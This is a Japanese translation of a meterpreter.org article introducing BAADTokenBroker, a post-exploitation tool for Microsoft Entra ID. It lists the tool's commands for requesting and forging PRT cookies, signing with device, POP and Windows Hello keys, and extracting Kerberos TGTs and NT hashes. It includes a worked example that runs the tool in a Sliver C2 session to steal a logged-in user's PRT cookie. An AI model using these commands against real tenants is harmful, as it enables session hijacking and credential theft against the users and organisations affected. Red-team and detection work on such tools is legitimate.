BAADTokenBrokerがMicrosoft Entra IDのデバイス連携キーを不正使用してPRTハイジャック

BAADTokenBroker

BAADTokenBrokerは、Microsoft Entra IDのデバイス連携キーと対話するために設計されたポスト悪用ツールです。

以下のことができます:

  • ログインしているユーザーのPRTクッキーをリクエストする
  • 提供された認証情報を使用してPRTクッキーを作成する
  • Entra Kerberosメカニズムを悪用してTGTとNTハッシュを取得する

使用方法

BAADTokenBrokerは以下のコマンドを提供します:

  • info:Entra IDの情報を取得する
  • get_token_blob:キャッシュされたトークンをダンプします(これは主に研究目的であり、実運用での使用は容易ではありません)
  • sign_with_dkpriv:Entraデバイスキーを使用して提供されたデータに署名する
  • sign_with_popkey:POPキーを使用して提供されたデータに署名する
  • decrypt_with_popkey:POPキーを使用して提供されたデータを復号化する
  • sign_with_userkey:Windows Hello for Businessキーを使用して提供されたデータに署名する
  • request_prt_cookie:PRTクッキーをリクエストする
  • request_sso_tgs:Desktop SSO用のサービスチケットをリクエストします。SeamlessPassなどのお気に入りのツールで使用できます。

ただし、一般的なシナリオでコマンドを簡単に使用するために、helper.pyは実現したいことに基づいてBAADTokenBrokerのコマンドラインを生成します。

以下のオプションのいずれかでhelper.pyを実行します:

  • request_prt_cookie

    • ログインしているユーザーのPRTクッキーをリクエストするコマンドラインを生成します
  • create_prt_cookie

    • 提供された認証情報を使用してPRTクッキーを作成するコマンドラインを生成します
  • get_tgt

    • PRTクッキー経由で部分的なTGTとセッションキーをリクエストするコマンドラインを生成します
      • 2026年4月4日頃にMicrosoftによってパッチが適用されました
  • get_tgt_with_whfb

    • Windows Hello for Business経由で部分的なTGTとセッションキーをリクエストするコマンドラインを生成します
  • get_tgt_with_sso_tgs

    • Desktop SSO Kerberosチケット経由で部分的なTGTとセッションキーをリクエストするコマンドラインを生成します

ユーザーのPRTクッキーを取得する場合の例を示します。sliverのコマンドラインを生成する場合、-sオプションが必要です。

$ python3 helper.py -s request_prt_cookie
[*] BAADTokenBrokerを以下のように実行します:
BAADTokenBroker -- --command request_prt_cookie --arg1 AwABEgEAAAADAOz_BQD0_0V2b1N0c0FydGlmYWN0cwUAAAAAAKXQM761QXLG8dCrW3ByGQITDdFPqQ_iURV8oT0AS3tyjjioOmsPBmN25hbVJT1ikAxhhPVFOmQUyItDYvZh99YgAA

以下のようにコマンドラインを実行します

[localhost] sliver (_) > BAADTokenBroker -- --command request_prt_cookie --arg1 AwABEgEAAAADAOz_BQD0_0V2b1N0c0FydGlmYWN0cwUAAAAAAKXQM761QXLG8dCrW3ByGQITDdFPqQ_iURV8oT0AS3tyjjioOmsPBmN25hbVJT1ikAxhhPVFOmQUyItDYvZh99YgAA
  -arg2:<> (デフォルト)
  -arg3:<> (デフォルト)
  -arg4:<> (デフォルト)
[*] BAADTokenBrokerを正常に実行しました (coff-loader)
[*] 出力を取得しました:
[*] PRTクッキーをリクエスト中...
[+] request_prt_cookie成功!
eyJhbGciOiJIUzI1NiIsICJrZGZfd...(省略)

インストール

翻訳元: https://meterpreter.org/baadtokenbroker-entra-id-prt-cookie-kerberos-exploitation/

ソース: meterpreter.org